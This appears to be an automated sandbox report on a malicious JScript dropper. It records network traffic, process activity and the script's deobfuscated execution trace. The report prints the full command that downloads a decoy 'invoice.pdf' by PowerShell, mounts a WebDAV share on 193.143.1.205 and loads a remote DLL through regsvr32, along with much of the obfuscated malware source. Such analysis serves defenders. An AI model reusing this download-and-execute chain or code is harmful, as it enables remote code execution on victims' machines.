Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:11.702538013 CET	1.1.1.1	192.168.2.6	0x73d6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:35.763880014 CET	1.1.1.1	192.168.2.6	0x80e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	4932	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:10:44.075519085 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:10:44.874938965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:10:44.874958992 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:10:44.874973059 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:10:44.874983072 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:10:44.875001907 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:10:44.875011921 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 17:10:44.875024080 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 17:10:44.875037909 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 17:10:44.875049114 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 17:10:44.875058889 CET	224	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|
Jan 10, 2025 17:10:44.880037069 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	1936	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:10:46.715142965 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:10:47.546694040 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:10:41
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js"
Imagebase:	0x7ff75a9a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:10:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Imagebase:	0x7ff6bdc20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:10:41
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:10:41
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:10:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:10:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bdc20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:10:46
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72d620000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:10:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:10:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:10:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,16643492209832112376,18051513336928629735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bsfvub() {	bsfvub() ➔ undefined
1	zdlnnveq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var njnum = this[jlbtwpsqk + twjgsr + rnqqvb + wiydo + egafqknh + ztufmust + oblyvmjwc + dccsyodas] ( this[yxjjs + uiurvqor + czgblgv + rnqqvb + lwnhvy + jlbtwpsqk + dccsyodas][opmbes + rnqqvb + egafqknh + twjgsr + dccsyodas + egafqknh + obzhd + oxljgd + lnxabpphi + egafqknh + czgblgv + dccsyodas] ( yxjjs + uiurvqor + czgblgv + rnqqvb + lwnhvy + jlbtwpsqk + dccsyodas + rcxqvmiox + uiurvqor + culdvn + egafqknh + qfpzg + qfpzg ) [xlest + egafqknh + otayrtu + xlest + egafqknh + twjgsr + uqeygtfrn] ( jgnjpdxs + sngtl + biddhf + ixkxe + scvpj + opmbes + axqjyno + xlest + xlest + biddhf + nkrna + seebgiw + scvpj + axqjyno + uiurvqor + biddhf + xlest + pmewk + opmbes + jbjpnchy + oblyvmjwc + dccsyodas + rnqqvb + jbjpnchy + qfpzg + arpawolv + zuoduujjf + twjgsr + oblyvmjwc + egafqknh + qfpzg + pmewk + ztufmust + oblyvmjwc + dccsyodas + egafqknh + rnqqvb + oblyvmjwc + twjgsr + dccsyodas + lwnhvy + jbjpnchy + oblyvmjwc + twjgsr + qfpzg + pmewk + fqggm + jbjpnchy + czgblgv + twjgsr + qfpzg + egafqknh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( iyutw = 0 ; iyutw < zdlnnveq[qfpzg + egafqknh + oblyvmjwc + otayrtu + dccsyodas + culdvn] ; ++ iyutw )
4	{
5	if ( njnum == zdlnnveq[iyutw] )
6	{
7	njnum = true;
8	break ;
9	}
10	}
11	if ( njnum !== true )
12	this[yxjjs + uiurvqor + czgblgv + rnqqvb + lwnhvy + jlbtwpsqk + dccsyodas][qvmkxcgdd + bqssvbzu + lwnhvy + dccsyodas] ( );
13	this[yxjjs + uiurvqor + czgblgv + rnqqvb + lwnhvy + jlbtwpsqk + dccsyodas][opmbes + rnqqvb + egafqknh + twjgsr + dccsyodas + egafqknh + obzhd + oxljgd + lnxabpphi + egafqknh + czgblgv + dccsyodas] ( yxjjs + uiurvqor + czgblgv + rnqqvb + lwnhvy + jlbtwpsqk + dccsyodas + rcxqvmiox + uiurvqor + culdvn + egafqknh + qfpzg + qfpzg ) [rnqqvb + bqssvbzu + oblyvmjwc] ( czgblgv + afzhxxr + uqeygtfrn + arpawolv + aehdbmo + czgblgv + arpawolv + jlbtwpsqk + jbjpnchy + vgfcaxr + egafqknh + rnqqvb + wiydo + culdvn + egafqknh + qfpzg + qfpzg + rcxqvmiox + egafqknh + aqvvr + egafqknh + arpawolv + ugzbbr + opmbes + jbjpnchy + afzhxxr + afzhxxr + twjgsr + oblyvmjwc + uqeygtfrn + arpawolv + onxhwuarz + ztufmust + oblyvmjwc + efdheneix + jbjpnchy + ddqrluffw + egafqknh + ugzbbr + yxjjs + egafqknh + oxljgd + xlest + egafqknh + zzgswnyab + bqssvbzu + egafqknh + wiydo + dccsyodas + arpawolv + ugzbbr + obzhd + bqssvbzu + dccsyodas + hfeyqr + lwnhvy + qfpzg + egafqknh + arpawolv + wwonl + dccsyodas + egafqknh + afzhxxr + jlbtwpsqk + wwonl + pmewk + lwnhvy + oblyvmjwc + efdheneix + jbjpnchy + lwnhvy + czgblgv + egafqknh + rcxqvmiox + jlbtwpsqk + uqeygtfrn + xqclfvfbl + arpawolv + culdvn + dccsyodas + dccsyodas + jlbtwpsqk + xyydu + aehdbmo + aehdbmo + lfveglbwu + hsyqqpgq + mjxmvdfv + rcxqvmiox + lfveglbwu + icliztnra + mjxmvdfv + rcxqvmiox + lfveglbwu + rcxqvmiox + krjyhctxc + nvltr + dieezqamo + aehdbmo + lwnhvy + oblyvmjwc + efdheneix + jbjpnchy + lwnhvy + czgblgv + egafqknh + rcxqvmiox + jlbtwpsqk + culdvn + jlbtwpsqk + onxhwuarz + clajc + clajc + wiydo + dccsyodas + twjgsr + rnqqvb + dccsyodas + arpawolv + wwonl + dccsyodas + egafqknh + afzhxxr + jlbtwpsqk + wwonl + pmewk + lwnhvy + oblyvmjwc + efdheneix + jbjpnchy + lwnhvy + czgblgv + egafqknh + rcxqvmiox + jlbtwpsqk + uqeygtfrn + xqclfvfbl + clajc + clajc + czgblgv + afzhxxr + uqeygtfrn + arpawolv + aehdbmo + czgblgv + arpawolv + oblyvmjwc + egafqknh + dccsyodas + arpawolv + bqssvbzu + wiydo + egafqknh + arpawolv + pmewk + pmewk + lfveglbwu + hsyqqpgq + mjxmvdfv + rcxqvmiox + lfveglbwu + icliztnra + mjxmvdfv + rcxqvmiox + lfveglbwu + rcxqvmiox + krjyhctxc + nvltr + dieezqamo + bxksdwgwo + hfftjehww + hfftjehww + hfftjehww + hfftjehww + pmewk + uqeygtfrn + twjgsr + efdheneix + vgfcaxr + vgfcaxr + vgfcaxr + rnqqvb + jbjpnchy + jbjpnchy + dccsyodas + pmewk + clajc + clajc + czgblgv + afzhxxr + uqeygtfrn + arpawolv + aehdbmo + czgblgv + arpawolv + rnqqvb + egafqknh + otayrtu + wiydo + efdheneix + rnqqvb + mjxmvdfv + krjyhctxc + arpawolv + aehdbmo + wiydo + arpawolv + pmewk + pmewk + lfveglbwu + hsyqqpgq + mjxmvdfv + rcxqvmiox + lfveglbwu + icliztnra + mjxmvdfv + rcxqvmiox + lfveglbwu + rcxqvmiox + krjyhctxc + nvltr + dieezqamo + bxksdwgwo + hfftjehww + hfftjehww + hfftjehww + hfftjehww + pmewk + uqeygtfrn + twjgsr + efdheneix + vgfcaxr + vgfcaxr + vgfcaxr + rnqqvb + jbjpnchy + jbjpnchy + dccsyodas + pmewk + krjyhctxc + dieezqamo + nvltr + krjyhctxc + icliztnra + mjxmvdfv + nvltr + nvltr + mjxmvdfv + icliztnra + lfveglbwu + krjyhctxc + nvltr + baagia + nvltr + rcxqvmiox + uqeygtfrn + qfpzg + qfpzg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll",0,false) ➔ 0
14	}
15	nvltr = "q";
16	nvltr = "M";
17	nvltr = "O";
18	nvltr = "p";
19	nvltr = "L";
20	nvltr = "Y";
21	nvltr = "K";
22	nvltr = "l";
23	nvltr = "A";
24	nvltr = "l";
25	nvltr = "G";
26	nvltr = "i";
27	nvltr = "O";
28	nvltr = "b";
29	nvltr = "S";
30	nvltr = "e";
31	nvltr = "Y";
32	nvltr = "d";
33	nvltr = "n";
34	nvltr = "B";
35	nvltr = "M";
36	nvltr = "v";
37	nvltr = "b";
38	nvltr = "B";
39	nvltr = "r";
40	nvltr = "u";
41	nvltr = "D";
42	nvltr = "L";
43	nvltr = "l";
44	nvltr = "P";
45	nvltr = "M";
46	nvltr = "g";
47	nvltr = "e";
48	nvltr = "B";
49	nvltr = "r";
50	nvltr = "K";
51	nvltr = "J";
52	nvltr = "Y";
53	nvltr = "r";
54	nvltr = "X";
55	nvltr = "y";
56	nvltr = "u";
57	nvltr = "C";
58	nvltr = "P";
59	nvltr = "0";
60	pmewk = "S";
61	pmewk = "J";
62	pmewk = "h";
63	pmewk = "o";
64	pmewk = "w";
65	pmewk = "r";
66	pmewk = "f";
67	pmewk = "i";
68	pmewk = "h";
69	pmewk = "d";
70	pmewk = "C";
71	pmewk = "t";
72	pmewk = "T";
73	pmewk = "z";
74	pmewk = "u";
75	pmewk = "T";
76	pmewk = "g";
77	pmewk = "q";
78	pmewk = "n";
79	pmewk = "B";
80	pmewk = "z";
81	pmewk = "\\";
82	lfveglbwu = "U";
83	lfveglbwu = "a";
84	lfveglbwu = "n";
85	lfveglbwu = "R";
86	lfveglbwu = "Y";
87	lfveglbwu = "E";
88	lfveglbwu = "X";
89	lfveglbwu = "P";
90	lfveglbwu = "1";
91	uqeygtfrn = "M";
92	uqeygtfrn = "a";
93	uqeygtfrn = "W";
94	uqeygtfrn = "I";
95	uqeygtfrn = "F";
96	uqeygtfrn = "y";
97	uqeygtfrn = "w";
98	uqeygtfrn = "m";
99	uqeygtfrn = "V";
100	uqeygtfrn = "E";
101	uqeygtfrn = "B";
102	uqeygtfrn = "S";
103	uqeygtfrn = "I";
104	uqeygtfrn = "W";
105	uqeygtfrn = "y";
106	uqeygtfrn = "O";
107	uqeygtfrn = "m";
108	uqeygtfrn = "L";
109	uqeygtfrn = "E";
110	uqeygtfrn = "L";
111	uqeygtfrn = "h";
112	uqeygtfrn = "a";
113	uqeygtfrn = "E";
114	uqeygtfrn = "h";
115	uqeygtfrn = "I";
116	uqeygtfrn = "d";
117	uqeygtfrn = "e";
118	uqeygtfrn = "J";
119	uqeygtfrn = "S";
120	uqeygtfrn = "V";
121	uqeygtfrn = "s";
122	uqeygtfrn = "G";
123	uqeygtfrn = "j";
124	uqeygtfrn = "f";
125	uqeygtfrn = "z";
126	uqeygtfrn = "v";
127	uqeygtfrn = "l";
128	uqeygtfrn = "i";
129	uqeygtfrn = "A";
130	uqeygtfrn = "u";
131	uqeygtfrn = "g";
132	uqeygtfrn = "m";
133	uqeygtfrn = "T";
134	uqeygtfrn = "d";
135	efdheneix = "g";
136	efdheneix = "e";
137	efdheneix = "X";
138	efdheneix = "G";
139	efdheneix = "V";
140	efdheneix = "s";
141	efdheneix = "j";
142	efdheneix = "N";
143	efdheneix = "D";
144	efdheneix = "v";
145	efdheneix = "m";
146	efdheneix = "r";
147	efdheneix = "v";
148	xyydu = "u";
149	xyydu = "D";
150	xyydu = "J";
151	xyydu = "M";
152	xyydu = "j";
153	xyydu = "u";
154	xyydu = "e";
155	xyydu = ":";
156	icliztnra = "K";
157	icliztnra = "B";
158	icliztnra = "o";
159	icliztnra = "d";
160	icliztnra = "b";
161	icliztnra = "z";
162	icliztnra = "d";
163	icliztnra = "C";
164	icliztnra = "f";
165	icliztnra = "T";
166	icliztnra = "A";
167	icliztnra = "A";
168	icliztnra = "R";
169	icliztnra = "o";
170	icliztnra = "r";
171	icliztnra = "n";
172	icliztnra = "4";
173	fqggm = "B";
